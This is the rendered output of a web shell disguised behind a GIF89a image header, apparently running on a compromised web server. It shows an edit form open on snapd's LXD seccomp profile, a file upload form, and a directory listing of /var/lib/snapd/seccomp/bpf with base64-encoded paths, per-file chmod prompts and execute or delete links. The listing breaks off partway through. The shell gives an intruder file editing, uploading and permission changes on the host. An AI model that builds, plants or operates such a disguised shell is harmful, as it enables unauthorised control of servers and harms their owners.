GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>snap.lxd.hook.connect-plug-ovn-certificates.src<form method=post action="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY%3D&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM%3D"><input name="f" value="snap.lxd.hook.connect-plug-ovn-certificates.src"><textarea name="t"># snap-seccomp version information:
# d09e860f2a9d755256817ea9041c5791408c9837 2.5.3 e96c43fe76b249e99e02e7ee97d074f17ed464207a45d0472d26d15138a88d7d bpf-actlog

# Description: Allows access to app-specific directories and basic runtime
#
# The default seccomp policy is default deny with an allowlist of allowed
# syscalls. The default policy is intended to be safe for any application to
# use and should be evaluated in conjunction with other security backends (eg
# AppArmor). For example, a few particularly problematic syscalls that are left
# out of the default policy are (non-exhaustive):
# - kexec_load
# - create_module, init_module, finit_module, delete_module (kernel modules)
# - name_to_handle_at (history of vulnerabilities)
# - open_by_handle_at (history of vulnerabilities)
# - ptrace (can be used to break out of sandbox with &lt;4.8 kernels)
# - add_key, keyctl, request_key (kernel keyring)

#
# Allowed accesses
#

access
faccessat
faccessat2

alarm
brk

# ARM private syscalls
breakpoint
cacheflush
get_tls
set_tls
usr26
usr32

# Requires input fd and so should not pose more security 
# issues than access to the file in the first place
# Flags are currently unused and should be 0
cachestat - - - 0

# Flags are currently unused and should be 0
mseal - - 0
map_shadow_stack

capget
# AppArmor mediates capabilities, so allow capset (useful for apps that for
# example want to drop capabilities)
capset

chdir
fchdir

# We can't effectively block file perms due to open() with O_CREAT. Allow
# chmod in general but deny specific patterns with ~ and | (bit mask) entries
# below.
chmod
fchmod
fchmodat
fchmodat2
# Deny setuid bit (S_ISUID = 0o4000) from being used.
#
# The signature is:
#
# chmod &lt;path&gt; &lt;mode&gt;
# fchmod &lt;fd&gt; &lt;mode&gt;
# fchmodat &lt;fd&gt; &lt;path&gt; &lt;mode&gt;
# fchmodat2 &lt;fd&gt; &lt;path&gt; &lt;mode&gt; &lt;flags&gt;
~chmod - |S_ISUID
~fchmod - |S_ISUID
~fchmodat - - |S_ISUID
~fchmodat2 - - |S_ISUID -
# Deny setgid bit (S_ISGID = 0o2000) from being used.
~chmod - |S_ISGID
~fchmod - |S_ISGID
~fchmodat - - |S_ISGID
~fchmodat2 - - |S_ISGID -

# Daemons typically run as 'root' so allow chown to 'root'. DAC will prevent
# non-root from chowning to root.
# (chown root:root)
chown - u:root g:root
chown32 - u:root g:root
fchown - u:root g:root
fchown32 - u:root g:root
fchownat - - u:root g:root
lchown - u:root g:root
lchown32 - u:root g:root
# (chown root)
chown - u:root -1
chown32 - u:root -1
fchown - u:root -1
fchown32 - u:root -1
fchownat - - u:root -1
lchown - u:root -1
lchown32 - u:root -1
# (chgrp root)
chown - -1 g:root
chown32 - -1 g:root
fchown - -1 g:root
fchown32 - -1 g:root
fchownat - - -1 g:root
lchown - -1 g:root
lchown32 - -1 g:root

clock_getres
clock_getres_time64
clock_gettime
clock_gettime64
clock_nanosleep
clock_nanosleep_time64
clone
clone3
close
close_range

# needed by ls -l
connect

# the file descriptors used here will already be mediated by apparmor,
# the 6th argument is flags, which currently is always 0
copy_file_range - - - - - 0

chroot

# creat &lt;path&gt; &lt;mode&gt;
creat

# Deny setuid bit (S_ISUID = 0o4000) from being used.
~creat - |S_ISUID

# Deny setgid bit (S_ISGID = 0o2000) from being used.
~creat - |S_ISGID

dup
dup2
dup3
epoll_create
epoll_create1
epoll_ctl
epoll_ctl_old
epoll_pwait
epoll_pwait2
epoll_wait
epoll_wait_old
eventfd
eventfd2
execve
execveat
_exit
exit
exit_group
fallocate

# requires CAP_SYS_ADMIN
#fanotify_init
#fanotify_mark

fcntl
fcntl64
flock
fork
ftime
futex
futex_requeue
futex_time64
futex_wait
futex_waitv
futex_wake
get_mempolicy
get_robust_list
get_thread_area
getcpu
getcwd
getdents
getdents64
getegid
getegid32
geteuid
geteuid32
getgid
getgid32
getgroups
getgroups32
getitimer
getpgid
getpgrp
getpid
getppid
# Note that pidfd_open semantics differs from the traditional pid handling.
# Any process can open the pid of any other process in its pid namespace. What
# is further controlled depends on the relationship between the two processes
# and the capabilities of the calling process. Because of this, we allow
# pidfd_open unconditionally here and rely on the kernel to enforce proper
# access control.
pidfd_open
getpriority
getrandom
getresgid
getresgid32
getresuid
getresuid32

getrlimit
ugetrlimit

getrusage
getsid
gettid
gettimeofday
getuid
getuid32

getxattr
fgetxattr
lgetxattr
getxattrat

inotify_add_watch
inotify_init
inotify_init1
inotify_rm_watch

# ioctl() mediation currently primarily relies on Linux capabilities as well as
# the initial syscall for the fd to pass to ioctl(). See 'man capabilities'
# and 'man ioctl_list'. TIOCSTI requires CAP_SYS_ADMIN but allows for faking
# input (man tty_ioctl), so we disallow it to prevent snaps plugging interfaces
# with 'capability sys_admin' from interfering with other snaps or the
# unconfined user's terminal.
# similarly, TIOCLINUX allows to fake input as well (man ioctl_console) so
# disallow that too
# TODO: this should be scaled back even more
~ioctl - TIOCSTI
~ioctl - TIOCLINUX
# see CVE-2019-7303
~ioctl - 4294967295|TIOCSTI
~ioctl - 4294967295|TIOCLINUX
ioctl

io_cancel
io_destroy
io_getevents
io_pgetevents
io_pgetevents_time64
io_setup
io_submit
ioprio_get
# affects other processes, requires CAP_SYS_ADMIN. Potentially allow with
# syscall filtering of (at least) IOPRIO_WHO_USER (LP: #1446748)
#ioprio_set

ipc
kill
# kcmp is guarded in the kernel via ptrace with PTRACE_MODE_READ_REALCREDS
# such that the calling process must already be able to ptrace the target
# processes and so this is safe.
kcmp - - KCMP_FILE
link
linkat

listxattr
llistxattr
flistxattr
listxattrat

lseek
llseek
_llseek
lstat
lstat64

madvise
fadvise64
fadvise64_64
arm_fadvise64_64

mbind
membarrier
memfd_create
memfd_secret
mincore
mkdir
mkdirat
mlock
mlock2
mlockall
mmap
mmap2

# Allow mknod for regular files, pipes and sockets (and not block or char
# devices)
# mknod &lt;path&gt; &lt;mode&gt; &lt;dev&gt;
# mknodat &lt;dirfd&gt; &lt;path&gt; &lt;mode&gt; &lt;dev&gt;
mknod - |S_IFREG -
mknodat - - |S_IFREG -
mknod - |S_IFIFO -
mknodat - - |S_IFIFO -
mknod - |S_IFSOCK -
mknodat - - |S_IFSOCK -

# Deny setuid bit (S_ISUID = 0o4000) from being used.
~mknod - |S_ISUID
~mknodat - - |S_ISUID

# Deny setgid bit (S_ISGID = 0o2000) from being used.
~mknod - |S_ISGID
~mknodat - - |S_ISGID

modify_ldt
mprotect

mremap
msgctl
msgget
msgrcv
msgsnd
msync
munlock
munlockall
munmap

nanosleep

# Argument filtering with gt/ge/lt/le does not work properly with
# libseccomp &lt; 2.4 or golang-seccomp &lt; 0.9.1. See:
# - https://bugs.launchpad.net/snapd/+bug/1825052/comments/9
# - https://github.com/seccomp/libseccomp/issues/69
# Eventually we want to use &gt;=0, but we need libseccomp and golang-seccomp to
# be updated everywhere first. In the meantime, use &lt;=19 and rely on the fact
# that AppArmor mediates CAP_SYS_NICE (and for systems without AppArmor, we
# ignore this lack of mediation since snaps are not meaningfully confined).
#
# Allow using nice() with default or lower priority
nice &lt;=19
# Allow using setpriority to set the priority of the calling process to default
# or lower priority (eg, 'nice -n 9 &lt;command&gt;')
setpriority PRIO_PROCESS 0 &lt;=19

# LP: #1446748 - support syscall arg filtering for mode_t with O_CREAT
# open &lt;path&gt; &lt;flags&gt; &lt;mode&gt;
open

# openat &lt;dirfd&gt; &lt;path&gt; &lt;flags&gt; &lt;mode&gt;
openat

# Deny openat2 from being used as struct open_how is behind a pointer and it
# may be used to pass suid/sgid mode.
# openat2 &lt;dirfd&gt; &lt;path&gt; &lt;how&gt; &lt;size&gt;
~openat2

# Deny setuid bit (S_ISUID = 0o4000) from being used together with O_CREAT.
~open - |O_CREAT |S_ISUID
~openat - - |O_CREAT |S_ISUID

# Deny setgid bit (S_ISGID = 0o2000) from being used together with O_CREAT.
~open - |O_CREAT |S_ISGID
~openat - - |O_CREAT |S_ISGID

# Deny setuid bit from being used together with O_TMPFILE.
~open - |O_TMPFILE |S_ISUID
~openat - - |O_TMPFILE |S_ISUID

# Deny setgid bit from being used together with O_TMPFILE.
~open - |O_TMPFILE |S_ISGID
~openat - - |O_TMPFILE |S_ISGID

pause
personality
pipe
~pipe2 - |O_NOTIFICATION_PIPE
pipe2
poll
ppoll
ppoll_time64

# LP: #1446748 - support syscall arg filtering
prctl
arch_prctl

read
pread
pread64
preadv
readv

readahead
readdir
readlink
readlinkat

# allow reading from sockets
recv
recvfrom
recvmsg
recvmmsg
recvmmsg_time64

remap_file_pages

removexattr
fremovexattr
lremovexattr
removexattrat

rename
renameat
renameat2

# The man page says this shouldn't be needed, but we've seen denials for it
# in the wild
restart_syscall

rmdir

# glibc 2.35 unconditionally calls rseq for all threads
rseq

rt_sigaction
rt_sigpending
rt_sigprocmask
rt_sigqueueinfo
rt_sigreturn
rt_sigsuspend
rt_sigtimedwait
rt_sigtimedwait_time64
rt_tgsigqueueinfo
sched_getaffinity
sched_getattr
sched_getparam
sched_get_priority_max
sched_get_priority_min
sched_getscheduler
sched_rr_get_interval
sched_rr_get_interval_time64
# enforce pid_t is 0 so the app may only change its own scheduler and affinity.
# Use process-control interface for controlling other pids.
sched_setaffinity 0 - -
sched_setparam 0 -

# 'sched_setscheduler' without argument filtering was allowed in 2.21 and
# earlier and 2.22 added 'sched_setscheduler 0 - -', introducing LP: #1661265.
# For now, continue to allow sched_setscheduler unconditionally.
sched_setscheduler

sched_yield

# Allow configuring seccomp filter. This is ok because the kernel enforces that
# the new filter is a subset of the current filter (ie, no widening
# permissions)
seccomp

# Allow restricting access with Landlock. This is OK because the kernel
# enforces that each new restriction only drops accesses for the calling
# process (i.e., no widening permissions).
landlock_create_ruleset
landlock_add_rule
landlock_restrict_self

select
_newselect
pselect
pselect6
pselect6_time64

# Allow use of SysV semaphores. Note that allocated resources are not freed by
# OOM which can lead to global kernel resource leakage.
semctl
semget
semop
semtimedop
semtimedop_time64

# allow sending to sockets
send
sendto
sendmsg
sendmmsg

sendfile
sendfile64

# These break isolation but are common and can't be mediated at the seccomp
# level with arg filtering
setpgid
setpgrp

set_thread_area
setitimer

# apps don't have CAP_SYS_RESOURCE so these can't be abused to raise the hard
# limits
setrlimit
prlimit64

set_mempolicy
set_robust_list
setsid
set_tid_address

setxattr
fsetxattr
lsetxattr
setxattrat

shmat
shmctl
shmdt
shmget
shutdown
signal
sigaction
signalfd
signalfd4
sigaltstack
sigpending
sigprocmask
sigreturn
sigsuspend
sigtimedwait
sigwaitinfo

# AppArmor mediates AF_UNIX/AF_LOCAL via 'unix' rules and all other AF_*
# domains via 'network' rules. We won't allow bare 'network' AppArmor rules, so
# we can allow 'socket' for all domains except AF_NETLINK and let AppArmor
# handle the rest.
socket AF_UNIX
socket AF_LOCAL
socket AF_INET
socket AF_INET6
socket AF_IPX
socket AF_XDP
socket AF_X25
socket AF_AX25
socket AF_ATMPVC
socket AF_APPLETALK
socket AF_PACKET
socket AF_ALG
socket AF_CAN
socket AF_BRIDGE
socket AF_NETROM
socket AF_ROSE
socket AF_NETBEUI
socket AF_SECURITY
socket AF_KEY
socket AF_ASH
socket AF_ECONET
socket AF_SNA
socket AF_IRDA
socket AF_PPPOX
socket AF_WANPIPE
socket AF_BLUETOOTH
socket AF_RDS
socket AF_LLC
socket AF_TIPC
socket AF_IUCV
socket AF_RXRPC
socket AF_ISDN
socket AF_PHONET
socket AF_IEEE802154
socket AF_CAIF
socket AF_NFC
socket AF_VSOCK
socket AF_MPLS
socket AF_IB
socket AF_QIPCRTR

# For usrsctp, AppArmor doesn't support 'network conn,' since AF_CONN is
# userspace and encapsulated in other domains that are mediated. As such, do
# not allow AF_CONN by default here.
# socket AF_CONN

# For AF_NETLINK, we'll use a combination of AppArmor coarse mediation and
# seccomp arg filtering of netlink families.
# socket AF_NETLINK - -

# needed by snapctl
getsockopt
setsockopt
getsockname
getpeername

# Per man page, on Linux this is limited to only AF_UNIX so it is ok to have
# in the default template
socketpair

splice

stat
stat64
fstat
fstat64
fstatat64
lstat
newfstatat
oldfstat
oldlstat
oldstat
statx

statfs
statfs64
fstatfs
fstatfs64
statvfs
fstatvfs
ustat

symlink
symlinkat

sync
sync_file_range
sync_file_range2
arm_sync_file_range
fdatasync
fsync
syncfs
sysinfo
syslog
tee
tgkill
time
timer_create
timer_delete
timer_getoverrun
timer_gettime
timer_gettime64
timer_settime
timer_settime64
timerfd
timerfd_create
timerfd_gettime
timerfd_gettime64
timerfd_settime
timerfd_settime64
times
tkill

truncate
truncate64
ftruncate
ftruncate64

umask

uname
olduname
oldolduname

unlink
unlinkat

utime
utimensat
utimensat_time64
utimes
futimesat

vfork
vmsplice
wait4
oldwait4
waitpid
waitid

write
writev
pwrite
pwrite64
pwritev
pwritev2

# Description: Can access all syscalls of the system so LXD may manage what to
# give to its containers, giving device ownership to connected snaps.
@unrestricted


# Description: Can query system status information. This is restricted because
# it gives privileged read access to all processes on the system and should
# only be used with trusted apps.

lsm_get_self_attr

# ptrace can be used to break out of the seccomp sandbox, but ps requests
# 'ptrace (trace)' from apparmor. 'ps' does not need the ptrace syscall though,
# so we deny the ptrace here to make sure we are always safe. Note: may
# uncomment once snap-confine understands @deny rules and if/when we
# conditionally deny this in the future.
#@deny ptrace


# Allow these and rely on AppArmor to mediate CAP_SETUID and CAP_SETGID. When
# dropping to particular UID/GIDs, we'll use a different set of
# argument-filtered syscalls.
setgid
setgid32
setregid
setregid32
setresgid
setresgid32
setresuid
setresuid32
setreuid
setreuid32
setuid
setuid32
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /var/lib/snapd/seccomp/bpf<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=Z2xvYmFsLmJpbg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=Z2xvYmFsLmJpbg=="/>global.bin</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=Z2xvYmFsLmJpbg==&c=`+btoa(c):0" value="0644"></td><td>152</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuYWN0aXZhdGUuYmluMg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYWN0aXZhdGUuYmluMg=="/>snap.lxd.activate.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYWN0aXZhdGUuYmluMg==&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuYWN0aXZhdGUuc3Jj">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYWN0aXZhdGUuc3Jj"/>snap.lxd.activate.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYWN0aXZhdGUuc3Jj&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuYnVnaW5mby5iaW4y">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYnVnaW5mby5iaW4y"/>snap.lxd.buginfo.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYnVnaW5mby5iaW4y&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuYnVnaW5mby5zcmM=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYnVnaW5mby5zcmM="/>snap.lxd.buginfo.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuYnVnaW5mby5zcmM=&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuY2hlY2sta2VybmVsLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuY2hlY2sta2VybmVsLmJpbjI="/>snap.lxd.check-kernel.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuY2hlY2sta2VybmVsLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuY2hlY2sta2VybmVsLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuY2hlY2sta2VybmVsLnNyYw=="/>snap.lxd.check-kernel.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuY2hlY2sta2VybmVsLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuZGFlbW9uLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuZGFlbW9uLmJpbjI="/>snap.lxd.daemon.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuZGFlbW9uLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuZGFlbW9uLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuZGFlbW9uLnNyYw=="/>snap.lxd.daemon.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuZGFlbW9uLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>14150</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25maWd1cmUuYmluMg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25maWd1cmUuYmluMg=="/>snap.lxd.hook.configure.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25maWd1cmUuYmluMg==&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25maWd1cmUuc3Jj">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25maWd1cmUuc3Jj"/>snap.lxd.hook.configure.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25maWd1cmUuc3Jj&c=`+btoa(c):0" value="0644"></td><td>14082</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctY2VwaC1jb25mLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctY2VwaC1jb25mLmJpbjI="/>snap.lxd.hook.connect-plug-ceph-conf.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctY2VwaC1jb25mLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctY2VwaC1jb25mLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctY2VwaC1jb25mLnNyYw=="/>snap.lxd.hook.connect-plug-ceph-conf.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctY2VwaC1jb25mLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5iaW4y">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5iaW4y"/>snap.lxd.hook.connect-plug-ovn-certificates.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5iaW4y&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM="/>snap.lxd.hook.connect-plug-ovn-certificates.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM=&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuYmluMg==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuYmluMg=="/>snap.lxd.hook.connect-plug-ovn-chassis.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuYmluMg==&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuc3Jj">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuc3Jj"/>snap.lxd.hook.connect-plug-ovn-chassis.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5jb25uZWN0LXBsdWctb3ZuLWNoYXNzaXMuc3Jj&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctY2VwaC1jb25mLmJpbjI=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctY2VwaC1jb25mLmJpbjI="/>snap.lxd.hook.disconnect-plug-ceph-conf.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctY2VwaC1jb25mLmJpbjI=&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctY2VwaC1jb25mLnNyYw==">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctY2VwaC1jb25mLnNyYw=="/>snap.lxd.hook.disconnect-plug-ceph-conf.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctY2VwaC1jb25mLnNyYw==&c=`+btoa(c):0" value="0644"></td><td>13596</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5iaW4y">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5iaW4y"/>snap.lxd.hook.disconnect-plug-ovn-certificates.bin2</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5iaW4y&c=`+btoa(c):0" value="0644"></td><td>128</td></tr><tr><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&x=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM=">X</a></td><td><a href="?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM="/>snap.lxd.hook.disconnect-plug-ovn-certificates.src</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Zhci9saWIvc25hcGQvc2VjY29tcC9icGY=&f=c25hcC5seGQuaG9vay5kaXNjb25uZWN0LXBsdWctb3ZuLWNlcnRpZmljYXRlcy5zcmM=&c=`+btoa(c):0" 